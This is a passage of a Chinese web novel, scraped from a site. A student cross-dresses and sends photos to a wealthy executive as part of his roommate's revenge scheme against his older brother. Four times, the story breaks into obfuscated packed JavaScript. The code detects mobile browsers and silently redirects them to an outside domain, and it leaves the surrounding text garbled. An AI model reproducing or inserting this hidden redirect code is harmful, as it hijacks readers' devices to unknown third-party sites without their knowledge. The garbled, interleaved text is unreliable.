饿了吃什么都觉得好吃,但傅铮看到自己的菜品后却直皱眉。 结果一看陶稚的菜,眉头皱得更深了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796045|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 胡萝卜炒肉,清炒莴笋,油麦菜。 “你就吃这些啊。”傅铮难以置信地询问。 “嗯?”陶稚脸颊鼓鼓地抬头:“是啊,很好吃啊。” 这能好吃? “我给你的钱也不少吧。”傅铮有点无语:“你稍微吃好一点呢。” “我觉得挺好的啊。”陶稚睁着一双茫然的眼睛看他。 傅铮翻了个白眼。 陶稚想了想。 “你要是不想吃就放着吧,你点外卖,我等下去帮你拿。” “……”陶稚是懂怎么戳他心窝的。 前几天还暗自下定决心,接下来的时间都吃食堂的傅铮顿时老实了。 他低头吃饭,但实在没什么胃口,大部分肉都给了陶稚,自己挑拣着吃了几块排骨后,其他的东西都没有动。 吃完,他放下筷子,脑子在想细数傅司珩的罪行。 恶毒。 暴戾。 没人性。 蛮横专制。 停卡就算了,竟然连借钱也不让,害得他都准备狠戾地卖奢侈品过活了。 所以,还是傅司珩的错。 不停他的卡他就不会这样,他要有钱,就直接用钱把陶稚砸个晕头转向,至于吃这些东西? 啧。 很不爽。 想到这里,傅铮对傅司珩的恨意加深。 “今天傅司珩给你发信息了是吧?”又顺便想到了这件事。 陶稚再次抬头:“嗯嗯。” “手机拿给我看。”傅铮一点都不客气。 也就是陶稚太听话了。 傅铮要,他就拿给他,然后继续吃自己的饭。 傅铮大致扫了一眼聊天记录。 “闷骚。” 不屑一顾的声音。 还隐隐带着点咬牙切齿。 “嗯?”陶稚又转头。 傅铮:“不关你事,吃你的。” 陶稚:“哦。” 陶稚又低头。 挺乖的。 长得可爱性格好,吃东西时跟个小兔子似的,小口小口地咬,腮帮子跟着鼓动,吃相好看,不会发出什么乱七八糟的声音,反而十分安静。 能勾引到傅司珩属实是情理之中。 哈。 没想到还真让他误打误撞办成了这件事。 傅铮一时之间还挺得意,觉得傅司珩不过如此。 不过现在得加快一点进度了。 没空跟傅司珩慢吞吞地耗下去,早点把他踹下位,也能早点让陶稚下班……傅铮忽然皱了下眉,压下心底升起的异样感觉。 - 傅司珩完全没觉得自己被勾引了。 除了周末那天发过来又撤回的一张照片外,陶稚几乎没有主动联系过他。 偶尔,他“提醒”陶稚,也被陶稚三言两语地将话题盖过去。 比如今天下午。 傅司珩今天没有会议,他只是不明白陶稚在想什么。 这是另外一种战术吗?故意把他晾在一边? 有点手段。 但也很无聊。 傅司珩压根不会被这种无聊的欲擒故纵勾引到,更不会如傅铮所想的那样,被人玩弄于股掌之中。 更何况还是一个……看上去很笨的笨蛋。 所以今天他早早地就关闭了和陶稚聊天框,投身于工作之中。 直到晚上七点,卫煜喊他去喝酒。 明面上是喊他喝酒,实际上不过是好奇他那蠢笨的弟弟而已。傅司珩很清楚。 换在平时,他可能懒得搭理,不过今天他却同意了。 交代完助理可以下班后,傅司珩起身,拿上车钥匙准备离开办公室。 就在这时,手机忽然响了一声。 他顺手拉开门,低头看了一眼信息。 小萌兔:【傅哥,这件衣服怎么穿呀。】 小萌兔:【图片】 陶稚发过来的是一件深蓝色长裙。 裙子的设计比较复杂,好几根珠宝链条摆放在旁边完全不知道怎么下手。 傅司珩的眸光沉了沉。 竟然能这么精准地在那么多套衣服里,挑到他最喜欢的一件…… 傅司珩关上了门,重新坐到到办公椅上。 他拨通了陶稚的电话。 13.声音 陶稚没想到傅司珩会打电话过来。 他吃完饭后,简单收拾了一下宿舍,就被傅铮拉到了那些裙子前。 傅铮让他挑选出今天晚上要拍给傅司珩看的衣服。 陶稚听到后:“……” 陶稚的反应是真的慢一拍。 傅铮都帮他收下裙子了,他愣是没想过以后还要继续穿女装给傅司珩拍照。 他甚至还天真地以为这些衣服可能是等下次见面的时候穿……现在傅铮提醒他了,他才意识到。 唉。 女装这种事,一回生二回熟。 犹豫了片刻后,陶稚又觉得,这样也不错,线上交流总比线下要好一点。 就拍拍照而已,总好过待在傅司珩身边跟他尬聊,还要故意去摸他的手臂,勾他的手指,使出浑身解数对方看都不看他一眼…… 现在这样挺好的。 陶稚很快想通,心甘情愿地答应下来,认真挑选裙子。 他生怕傅铮再继续叫他拍一些难堪的腿照,所以很谨慎地挑选了一条长裙。 ——老实人现在也学聪明了,有了自己的小心机。 “这样可以吗?”陶稚拿在手上,询问傅铮的意见。 傅铮:“随便你。” 反正都是傅司珩送来的,穿什么都可以。 …… 草。 陶稚竟然选了傅司珩的裙子。 什么眼光。 傅铮有点不爽。 他板着张脸,将那条绿色裙子丢进陶稚的衣柜。接着,又动作粗鲁地把傅司珩送来的剩余裙子一股脑地塞进自己衣柜。 衣服数量太多,傅铮又不好好整理,塞得衣柜门险些关不上。 这野蛮的手法看得陶稚胆战心惊,但他也不敢对傅铮发表什么意见。 因为傅铮的表情不太好。 陶稚当做没看见,不理他,低头去看自己手中的裙子。 这条裙子乍一看挺简单,宝蓝色的吊带长裙,颜色深邃神秘,裙摆部分层次分明,上面点缀着几朵蓝色的玫瑰花。 陶稚拿在身上比了比,觉得应该没什么问题。 但出乎意料的是,除了裙子之外,竟然还有好大一包配饰。 陶稚打开,里面全是珠宝链条,看得他头脑晕乎乎的,压根不知道有什么用。 没办法,只好问傅铮。 犹犹豫豫地蹭过去,小声:“这些是戴脖子上,还是戴手上的啊?” 傅铮此时因为自己的衣服没被选上有点儿生气,过了将近十秒才回答他:“衣服上的。” 傅铮虽然也不比陶稚懂多少,但他是稍微见过一点世面的,以前在晚宴,舞会,秀场见过类似的衣服。 可具体怎么穿,他也是两眼一抹黑。 ——但一点都不妨碍他说陶稚是笨蛋。 “笨蛋,这都不会?” 不是一眼就挑中了这件吗? 陶稚偷偷地撇嘴,看上去不是很服气。 “你问问傅司珩,他买的衣服,他肯定知道。”傅铮不屑地说。 “哦。” 那这也是一个办法。 陶稚完全没有听出傅铮话里的阴阳怪气,还真把裙子放在桌面,开始拍照了。 傅铮感觉自己的血压好像有点升高,但具体为什么会升高他不太清楚。 他忍了忍。 “回你没有。”傅铮憋屈地问。 陶稚:“还没有呢,可能在忙吧。” 五点左右的时候,傅司珩说他今天要开会,没准现在还没有散会也说不定。 对哦。 毕竟那么大一家公司的总裁,哪有空天天跟他发信息玩。 这样一想,陶稚又觉得庆幸。 万一今天傅司珩特别特别特别忙,那岂不是连换女装拍照都不用了? 这个想法刚一升起,手机忽然毫无征兆地响起。 陶稚被吓了一跳,去看屏幕上的来电显示,又被吓了一跳。 “傅铮,你哥哥打电话来了!”陶稚慌慌张张,一副如临大敌的模样。 傅铮:“……” 听到了笨蛋。 服了,傅司珩竟然被一个笨蛋拿捏得死死的,真特么没出息啊。 “接电话。”傅铮向陶稚抬了抬下巴。 啊?! 陶稚指了指电话,又指了指自己。 傅铮面无表情。 好、好吧。 陶稚滑动接通:“喂?喂……傅哥。” 差点忘记掐声音,后面紧急补上,才没有被傅司珩发现。 “嗯。”音孔里传来傅司珩低沉冷淡的声音。 “衣服不会穿?” “对。”陶稚抿了抿唇。 他看了一眼傅铮后,硬着头皮和傅司珩说话:“裙子会穿,但是那些配饰什么的,我不知道……” “最长的那个,带蓝宝石的是腰链。”傅司珩告诉他。 啊…… 腰链? 陶稚按照他说的,很快找到了这么一件物品。 “我、我看到了。”陶稚紧握手机连忙说。 “嗯,水滴链条是胸链。” “还有个颈环。” “薄纱挂在吊带上。” …… 傅司珩一连告诉了他很多配饰怎么用,最后问道:“会穿了吗?” 陶稚:“……” 听是听懂了,也都认识了,但是…… “傅哥,可以别挂电话吗?我刚刚听了一遍,大概懂了,但还没有穿,不太确定到底会不会。” 陶稚小声地请求。 傅铮:“。” 真就是个笨蛋。 明明是在给老男人发福利,还那么有礼貌地说话,像是在请求别人一样。 被人占便宜都意识不到。 笨。 傅铮不爽地磨牙,心想自己怎么会找笨蛋给他办事。 都怪傅司珩。 傅司珩要是不停他的卡,他就能去外面找更有经验的人了。 傅司珩坏事做尽。 “好。”傅司珩应下。 哥就是哥,多吃了十年的饭,情绪比弟稳定多了。平时会被傅铮骂笨蛋的请求,在他这儿很轻易地获得同意,声线平稳,完全没有不耐烦的表现。 真好啊。 想到这里,陶稚悄悄侧头看了一眼傅铮。 傅铮刚好把头转走,不然看见他的眼神绝对要炸。 “你现在先把衣服换上。”傅司珩对他说。 陶稚连忙嗯了好几声。 傅铮也在这时转头。 这是他的复仇计划,即使再不爽,也没有发脾气。 傅铮很识趣地没出声,只侧了侧头,示意陶稚去洗手间换。 陶稚看懂了,抱着裙子进去。 等他身影消失后,傅铮沉着脸起身,走到陶稚的桌子前,看了一眼手机上的通话界面。 傅司珩就这? 嘁。 一点挑战都没有。 傅铮无声地不屑。 - 大概十多分钟后,换好裙子的陶稚从洗手间出来了。 对于刚接触女装的他来说,吊带裙也很难穿。 没有人帮他,找拉链都找了好一会儿,自己摸索着好不容易穿上了,结果出去之前,透过镜子,看到空荡荡的胸口,陶稚:“……” 真是的,这样子怎么可能会好看嘛,竟然还妄想靠他玩勾引傅司珩,窃取商业机密……有时候真的不知道傅铮脑子里都在想些什么,还总骂他是笨蛋。 明明傅铮自己才是笨蛋。 陶稚伸手拢了拢胸口,红着脸走出去。 傅铮依旧站在原地玩儿手机,听见声音后抬头看了一眼。 “……”他呆住,张了张嘴,又迅速回神,抿直了唇,一脸不爽地静音玩手机。 陶稚没看见他的表情。 他现在很忙,实在没空搭理傅铮,只径直走向自己的位置。 通话界面还亮着,陶稚拿起手机后,清了清嗓子才开口:“傅哥?” “你还在吗?我换好衣服了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15798230|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “嗯。”电话里很快响起傅司珩的声音。 低沉的,富有磁性的声音透过音孔传递过来:“先戴腰链吧。” “哦。”陶稚一手拿着电话,一手去拿挂在椅背上的腰链。 腰链是最长的那根,银色的细链上挂着复杂的金属装饰与珍珠。陶稚找到了,但怎么戴又犯起了难,是直接绑在腰上吗? 他单手拿着腰链的一边,根本无从下手。 “你把手机放下。”傅司珩仿佛能猜到陶稚这边的情况,跟他说:“开扬声器,放在桌面上。” 陶稚:“……” 感觉自己好像又丢脸了,陶稚脸颊微微发烫,连忙按照傅司珩说的做。 手机刚放下,里面传出他的声音:“配饰包里有一个蓝宝石胸扣。” “扣在胸口。”顿了顿,傅司珩的声音忽然沉了许多。 好冷酷。 “胸口,v领的中间。” “哦……” 胸口胸口…… 陶稚低头,手指在布料上瞎鼓捣。 “再把腰链的一头扣在胸扣上,有一串珍珠流苏的是正面。”傅司珩想象了一下陶稚现在的动作。 深色的衣服应该会衬得他更白。 小笨蛋第一次穿这种衣服应该会手忙脚乱,扯着胸口的布料,露出一片白皙的领口。 对了,太瘦的话,吊带好像会挂不住。 所以,会掉下来吗? 吊带松松垮垮地从肩膀滑落—— “傅哥,慢点,别说得太快。”陶稚感觉自己有点跟不上。 他抓着胸链找了好一会儿,才找到傅司珩说的是哪一段,但不知道怎么回事,就是挂不上去。 陶稚有点儿着急,越急越手忙脚乱—— 一只手忽然伸过来,抢过了他手里的腰链。 陶稚抬头看去,发现傅铮不知道什么时候过来了。 他这人真的很奇怪。 明明是来帮忙的,却顶着一张别人欠他八百万的脸。 很凶,不耐烦,眉骨下压,唇角抿成个直线。 ……接着低头扣上链条。 唔。 离得太近了。 傅铮刺茬的头发碰到他的胸口,陶稚觉得有点不太舒服,向后躲了躲。 “扣上了吗?”傅司珩问。 “啊,扣、扣上了。”陶稚回过神后连忙回答。 傅司珩嗯了一声:“再将两侧绕到腰后扣上就行。” 绕到后面扣上…… 陶稚牵起腰链的一角—— 傅铮半蹲下去,顺便还给陶稚翻了个面。 陶稚双手撑在自己的书桌上,傅铮则从身后按住他的腰。 薄薄的肚皮抵在书桌的边缘处,陶稚被他按得腰向下塌了一点。 被名贵丝绒包裹着的臀部微微翘起。 “扣上了吗?”傅司珩问道。 “……正在扣。”陶稚深吸了一口气。 傅司珩:“嗯。” …… 好细的腰。 链条扣上了,但傅铮的手却没有放下。 反而还趁着陶稚跟傅司珩说话的时候,表情别扭的,伸手比了比…… “傅铮。”陶稚转头,用嘴型喊他,没有发出一点声音。 但傅铮自己做亏心事,被吓得表情管理都失控了。 “胸链,胸链。”陶稚尝到了被人帮忙的甜头,不愿意再自己像个没头苍蝇似的瞎忙活,立马将手中的胸链递给傅铮。 “……” 傅铮拿着胸链抬头看陶稚。 吊带深v裙,两根细细的链条挂在圆润的肩头,胸口露出一大片雪白细腻的肌肤,凹陷进去的锁骨弧度纤细优美,在头顶灯光的照耀下,泛着莹润的光泽。 傅铮忽然觉得自己像个大冤种。 活都是他干的,坐享其成的却是傅司珩。 一想到待会陶稚还要拍照,傅铮没忍住爆了个粗口。 “嗯?”被傅司珩听见了。 他沉声问道:“谁的声音?” 14.元旦 陶稚被突如其来的声音吓了两跳。 一是傅铮忽然毫无征兆地骂人,二是傅司珩在问他刚刚是谁在说话。 两人的声音几乎前后脚响起,把陶稚给吓到傻眼,表情懵懵地转过脑袋。 ——他的眼睛睁得很大,像是受惊的毛绒动物,瞳孔扩散,耳朵竖起。 不是。 傅铮他在搞什么啊! 怎么突然发出声音还被傅司珩听到了?! 陶稚这么一个好脾气的人都被弄得有点气恼了。 哪有这样啊,这明明是傅铮的复仇计划,他这么努力地在配合,忍着羞耻和不懂,艰难穿着从来没有穿过的裙子。 结果傅铮这个坏蛋,喊他帮点忙,他竟然这么不满。 不仅骂他,还被傅司珩听到了。 这、这可怎么圆? 陶稚着急死了。 傅铮:“……” 傅铮不知道陶稚在想什么,但从他的眼神中感觉到了委屈。 一双眼睛水汪汪雾蒙蒙的,双手撑在书桌上,塌着腰往后看,怪可怜的。 草。 陶稚在委屈什么啊,他也没干嘛啊? 不就是没忍住骂了傅司珩一句吗,难道陶稚以为是在骂他? 那要不要解释一下啊,随便一两句就行。 这个想法刚冒出来,傅铮又觉得他干嘛要跟笨蛋解释。 他是陶稚的老板,陶稚本来就应该无条件服从他。再说了,他以前骂人哪有跟小弟解释过? 陶稚本来就是一个爱撒娇的撒娇精,要是太放任他的小脾气,惯到无法无天,以后拿捏不住他了怎么办。 难道他以后要听陶稚的话,给陶稚洗衣服打饭刷鞋子吗? 怎么可能。 傅大少爷绝对不会容许那种事情发生。 可想象了一下那副画面,又觉得也不是那么难以接受。 傅铮疯狂头脑风暴中,拿不定主意。 “嗯?”傅司珩再次出声,打破了电话那边的沉默。 “啊……没、没人啊。”陶稚回神,收回自己控诉的眼神,硬着头皮否认。 否认完,他又觉得这样强行睁眼说瞎话似乎并不可信,哆嗦着声音换了另外一种说法。 “其、其实是我的室友,我住在宿舍……” “她的声音可能比较粗一点。”陶稚小声打补丁,心虚得声音都变小了。 “哦。” 瞎扯的借口傅司珩竟然真的信了。 他没有继续往下追问,将话题又转回到了衣服上:“链条扣好了吗?” 陶稚转头往身后看了一眼。 先是看腰链,接着目光往旁边稍侧,看见了正皱着眉头发呆的傅铮。 也有可能是在想事情。 表情严肃,沉浸在自己的世界里。 反正看上去挺忙的,陶稚不太敢喊他,还好傅铮腰链已经帮他扣好了。 陶稚抿着唇嗯了一声,转会脑袋,又伸手去拿另外的配饰:“珍珠是胸链吗?” “对。”傅司珩应声。 “好长。”陶稚咂舌,有点无从下手的感觉。 但他不敢再找傅铮帮忙了。 不找傅铮帮忙,也不喊他,而是自己听着傅司珩的指导,懵懵地往身上套。 …… 傅铮终于从头脑风暴中回神了。 回神后第一反应是,不是,我到底在想些什么啊? 这都是些什么乱七八糟,莫名其妙的。 简直无聊。 还有点儿难堪。 尤其抬眼看见陶稚拿着一串珍珠在那儿瞎比划的时候,傅铮的表情倏地滞在脸上,突然毫无理由地生起了闷气。 那么认真干什么? 无聊。 - 陶稚没有发现傅铮的那些小心思。 他现在一心跟这些复杂的衣饰做斗争,根本没空去管老板的情绪。 真是的,怎么随手一选就选了这么难穿的衣服啊。 陶稚忙得微微喘气,满头大汗,好在终于成功将一整套裙子完整地穿在了身上。 很厉害。 颈圈扣上的一瞬间,傅司珩的声音也随之响起。 “穿好了?” 陶稚低头调整颈圈位置,嗯了一声。 好华丽啊。 也不知道这些珍珠宝石是不是真的,陶稚低头,拨弄了一下。 像小猫在玩自己的颈圈。 傅司珩:“看看怎么样。” “啊……好。” 对哦,还要拍照。 可是怎么拍。 陶稚懵了懵,下意识看向傅铮。 傅铮:“……” 笨蛋。 这个时候知道找他了? 傅铮抱胸靠在陶稚对面床位的衣柜上,表情极度不屑。 陶稚张了张嘴。 他完全看不懂傅铮的意思,但他很着急。 傅铮这个坏蛋,现在把所有的事情和问题都丢给他,一点帮忙的意思都没有。 泥人都被傅铮这莫名其妙的坏脾气搞得不高兴了。 要不是看在钱的份上,他才不愿意搭理傅铮!哪有这样的人嘛。 他是真的有点生气了—— 傅铮忽然冷着脸朝他走来。 陶稚惊了一下,顿时心虚地以为傅铮是不是听到他刚刚在心里说坏话了,表情变得紧张。 结果傅铮略过他,直接拿起桌面上的手机,挂断电话。 紧接着,傅铮又打字:【照片待会发你。】 一点都不像陶稚的语气。 但无所谓。 什么事都比不上傅少爷的心情重要。 他现在正不爽着。 - 陶稚发过来的照片,和傅司珩想象的差不多。 完全挡住脸的自拍照。 照片的视角,是从纤细的脖颈开始,直到腰部结束。 优美的肩颈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15804231|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线条,两根银链吊带贴合着肌肤,从圆润的肩头向下,延伸至V领处。 裙子的上半身,戴上衣饰之后,设计是复杂华丽的。 光泽柔和的珍珠链条绕过脖颈后自然垂下,紧密地贴合胸部轮廓,坠下深邃的蓝宝石与水珠吊坠。 挺好看的,虽然胸口没撑起来。 笨蛋就是笨蛋,平得一览无余的胸,也不知道找块海绵垫垫,竟然就这么直接拍下来了。 镜头中,锁骨露出一大片肌肤,与深色的宝蓝缎面布料交织,显得更加白皙诱人。 如果他就在陶稚面前的话,以他的身高,没准只要低头,都透过敞开的领口,看见某点粉嫩的颜色。 傅司珩盯着照片看了好一会儿,忽然从鼻腔中发出一声低笑。 并不是在嘲笑。 而是他想象了一下陶稚穿这套裙子时,调整胸口布料时的表情。 红着脸,低头抿唇,不好意思,又不得不做。 可爱。 傅司珩没发现自己表情都变得柔和了不少。 挺好的,衣服尺寸也没有没问题。 陶稚真的好瘦,细伶伶的一把腰,身体曲线流畅优美。 又看了一眼。 腰真的好细。 傅司珩将照片放大。 陶稚发过来的这张照片的只有上半身,刚好到腰部的位置。 盈盈一握的细腰,看上去很轻易地就能揽进怀里,让他坐在自己的怀里或者膝盖上。 动作过分一点,手臂横在他的腰上,估计动都动不了。 到时候只能可怜兮兮地看着他,手指搭在他的胳膊上。想推,又推不动。 也不敢说,只能默默坐着。 这么一想就有点收不住,过了好一会儿,傅司珩这才继续去看照片。 只有上半身的照片,但一点也不妨碍傅司珩想象镜头里没出现的一幕。 沿着细腰一路向下,被绸缎包裹着的身体线条优越,鱼尾的裙摆包裹住纤细匀长的小腿。 陶稚应该从没穿过这种衣服,没准连走路都觉得束手束脚,只能紧紧抓住他的手臂。 …… 想到这里,傅司珩存照片的动作忽然顿住,片刻后,拨通了一个电话。 “喂。”音孔传来的是被他鸽掉的,卫煜的声音。 卫煜这会儿还对他不满着,说话阴阳怪气的:“哎哟,这不是咱大忙人傅总吗?不正忙着吗?还有空给我打电话了啊。” “你去年是不是在云轨雪岭那儿买了一套别墅?”傅司珩懒得跟他废话,直接开门见山。 “啊?对。”攻击压根不管用,卫煜愣了愣才回答他的话:“怎么了?” 云轨雪岭是临市的一个高山滑雪场。 卫煜去年爱上了滑雪,为了方便,直接在山下买了个别墅。 “叫上点人,元旦过去玩吧。” “对了,喊上傅铮。”傅司珩靠在椅背上,轻扯了下唇:“但别说是我让的。” 15.租金 这么奇怪的要求吗? 听到傅司珩的话后,卫煜沉思了一会儿。 他其实跟傅铮不是很熟。 抛开上次,傅铮主动去他新开业的酒吧问傅司珩的事情,两人坐下喝了一晚上外,平时并没有什么往来。 就是见面点头的关系而已。 这突然之间约他去滑雪,还真有点不知道怎么开口。 但不好开口不等于难办。 傅铮现在在酝酿阴谋,有自己的小算盘,知道傅司珩要去滑雪,他肯定会想跟着,这点不用愁。 就是怎么让他知道得费点劲。 只有自然而又不做作地透露出这件事,才会让傅铮感兴趣,不然他这直接邀请,傅铮肯定怀疑他的目的。 卫煜思考了一会儿,很快有了办法,也不在意傅司珩鸽他的事了,爽快答应下来。 不为别的。 他实在太想看傅家这兄弟俩的八卦了。 平时傅司珩就不愿意透露给他,现在难得主动递上机会,他根本就没有拒绝的理由。 纯看热闹,不嫌事大。 远在学校宿舍的傅铮打了个喷嚏。 但他没放在心上。 因为他现在在想陶稚的事情。 按照他从网恋被骗17万8的好兄弟那儿听来的话,他想要陶稚拍的,根本不是现在这种照片。 而是那种露锁骨,露背,露肩膀,露腿之类的局部擦边照。 互相发照片熟悉之后,再没事聊聊骚,线下约几次几面,没多久就能确定恋爱关系,将傅司珩给套牢。 这是17万8给他出的主意。 17万8就是这么被骗上的。 傅铮当时听到的时候,打心底里觉得这个计划不错,才会让陶稚给傅司珩拍腿照。 事实上,也确实达到了效果。 傅司珩送来的裙子,全是价值不菲的高定和秀款,比17万8舍得花钱多了,接下来只需要趁热打铁就行。 可是傅铮犹豫了。 他看到陶稚拍出不符合他要求的照片发给傅司珩时,没有说出任何阻止的话来。 真要按照17万8说的那样做,傅铮怎么想怎么不得劲,烦躁得要命。 “傅铮,我做好了。” 陶稚压根不知道傅铮那千回百转的想法,照片发过去之后,他从洗手间门后探出头,眨巴眨巴眼睛看傅铮。 很可爱的小表情。 陶稚一向乖巧听话,但脑子也是真的不太能理解这两兄弟的行为。 他没有谈过恋爱,也没有什么和女生相处的经验,只觉得傅铮这种让他穿女装拍照的行为,真的很奇怪。 傅司珩也很奇怪。 送了这么多价值不菲的裙子过来,只为了看他穿在身上展示吗?那干嘛不去找模特啊,毕竟他连脸都没露,傅司珩也没说什么,还夸了一句漂亮,很适合你。 真是令人费解。 不过他满意就好了 他满意,说明自己的工作干得好。 陶稚不免有些小得意。 他看向傅铮的眼睛亮闪闪的,像是终于完成了一件很艰巨的任务,来跟他要夸奖似的。 傅铮一点也不想夸奖他,只敷衍地应了一声。 可转头和陶稚目光对视时,傅铮沉默几秒,拿出手机,给他转了三……不,一千块。 目的达成。 小财迷收到钱,开心得眼睛都弯成了月牙。 “谢谢你,傅铮。”陶稚这次钱收得特别快,一丁点儿的不好意思都没有。 这都是他辛苦劳动的成果啊! 裙子真是太难穿了!他配得上这一千块钱! 陶稚开心得都想亲手机了! …… 哼。 眼皮子真浅。 一千块就这么高兴。 傅铮又有点不爽了。 但他没找陶稚的麻烦,而是从陶稚手里抽出手机,将刚刚他发给傅司珩的照片,顺手也给自己发了一份。 就这样吧。 也不是完全没有可取之处。 起码照片还挺好看。 细细的手指搭在胸口处,指节处微微弯起一道柔和的弧度,遮掩住平坦暴露又撑不起来的v领,修剪得圆润干净的手指,指盖下透出淡淡的粉。 傅铮没忍住将照片放大,仔细去看。 也不一定非要搞聊骚那一套。 纯情也挺好的。 万一傅司珩就吃这套呢? 再说了,这张照片……其实也挺诱惑的。 傅铮又看了好几眼,觉得这要是勾引不到傅司珩,那傅司珩指定眼睛有点毛病。 别上班了,去看眼科吧。 傅铮冷笑了一声,转身把照片收藏到了一个带锁的相册里,独留陶稚看着他的背影,不解地歪了歪头。 - 按照17万8的说法,两个人只要有了一次暧昧的聊天,这之后,他们的关系会逐渐变得亲密,最后发展到他那样,每天起床的第一件事就是跟老婆说早安,一天发两三百条信息。 当时的傅铮:……真的?就这么简单? 现在的傅铮:去你妈老婆,你老婆是骗子,还把你甩了,你现在都找不到他。 17万8哥:“?” 莫名其妙被攻击,傅铮真是越来越神经了。 17万8哥都懒得回他。 不过事情也确实如他所说,这之后,傅司珩和陶稚的关系果然拉近了不少。 虽然并没有夸张到每天两三百条那么多,但隔个一两天聊几句的频率还是有的。 同时,伴随而来的是傅司珩送来的东西越来越多。 裙子,当季的衣服,伴手礼,出差礼物乱七八糟的,什么都有。 学校宿舍那两个可怜的衣柜根本塞不下。 陶稚那儿还好一点,他爱干净,人也勤快,会自己整理,顶多就是衣柜里面放不下。 傅铮就是完全乱来,全部一通乱塞,还不让陶稚帮忙。 以至于有一次他打开衣柜,里面的衣服跟雪山崩塌似的,哗啦啦的,劈头盖脸掉一地。 傅铮愣了。 陶稚也愣了。 包括宿舍里的其他两个室友也愣住了。 其中一个人还认出了都是女生的裙子,非常不解又小心翼翼地询问:“傅铮,你衣柜里怎么那么多裙子啊?” “……是你女朋友的吗?” 陶稚顿时心都提到了嗓子眼。 好在傅铮一向没有礼貌,一句“关你屁事”就把别人的话堵了回去。 陶稚:“……” 什么时候他可以像傅铮这样理直气壮就好了。 对方听到这话后表情很尴尬,没敢再开口。 危机也算是顺利解除。 但这些衣服不能再继续发现。 倒不是怕被发现,而是完全放不下啊!!! 傅铮每天起床找自己的衣服都要找很久。 受不了,他决定去外面租一个房子。 陶稚听到后咂舌,觉得这实在是太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809361|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奢侈了。 但转念一想,傅铮是富二代,无所谓这点钱,他立马又举双手赞成。 可看了好几天都没有看到合适的房子。 正巧,有天他们去找容槐的时候,容槐说自己有个杂物间,大概二三平左右吧,就在造型店里。他一直用不上,可以租给傅铮。 租金也不贵,看着给就行,四五千左右的样子。 傅铮:“……” 商场的黄金地段,租个五千左右的房间确实不算贵。 容老板做事很讲良心。 …… 草。 换在以前,这钱掉在地上,傅铮估计连看都懒得看一眼。 但今时不同往日。 傅铮现在经济窘迫到差点拿不出钱来砸陶稚,五千块对他来说还挺多的。 ……可他还是租了。 因为实在需要一块这样的地方来放傅司珩送来的可恶裙子。 傅铮咬着牙给容槐转了一个月的租金。 容槐收到的时候还怪纳闷的。 按照傅铮的性格,他还以为会直接转上半年一年的租金呢。 算了,一个月也没问题,反正麻烦的不是他。 容槐收下钱,办事十分靠谱。 一个星期后,他们再过来,杂物间已经收拾得非常妥当干净了。 傅司珩买的那些衣服,被容槐按照裙子的款式,一件件地全部套上防尘袋挂好,配饰也同样按照裙子的顺序,全部细致规整地放进收纳盒里。 容老板甚至还用剩下的空间,精心地布置了一个拍照场地—— 容槐是一个聪明人。 虽然傅铮没有告诉他具体的情况,但他已经通过这两人平时的行为,以及偶尔的说漏嘴,大致地将事情全貌给猜测出来了。 现在的富二代真是抽象。 不过容槐乐意看这个热闹。 把事情办得这么好,还布置场地,也是看热闹。不然五千块的租金,还真轮不到容老板自己收拾。 “暂时先这样吧,哪里不喜欢自己改就行。”容槐打开房间门。 陶稚跟着走进去,惊讶地哇了一声。 虽然房间不大,但收拾得整洁、明亮。 除了那些衣架之外,房间正中间的位置,贴了一块很大的镜子,旁边摆放着打光的工具。除此之外,容槐似乎是担心陶稚对着镜子换衣服害羞,还特意用帘子隔开一个试衣间。 总体来说,租给傅铮的这个小房间十分完美。 一个月五千的租金,绝对花得物超所值。 容槐是这样认为的。 但傅铮脸色却不怎么好看。 他站在门口,扫视了房间一圈后,开口喊陶稚。 陶稚转头:“怎么了?” “我有点事,你待在这儿吧,晚点来接你。”傅铮没什么语气地对他说。 哎? “好哦。”虽然不解,但陶稚乖乖应声。 说完后,傅铮很快离开。 但在转身的一瞬间,他彻底失去表情管理,变得阴狠冷漠烦躁。 因为傅铮现在穷到没有任何好脸色。 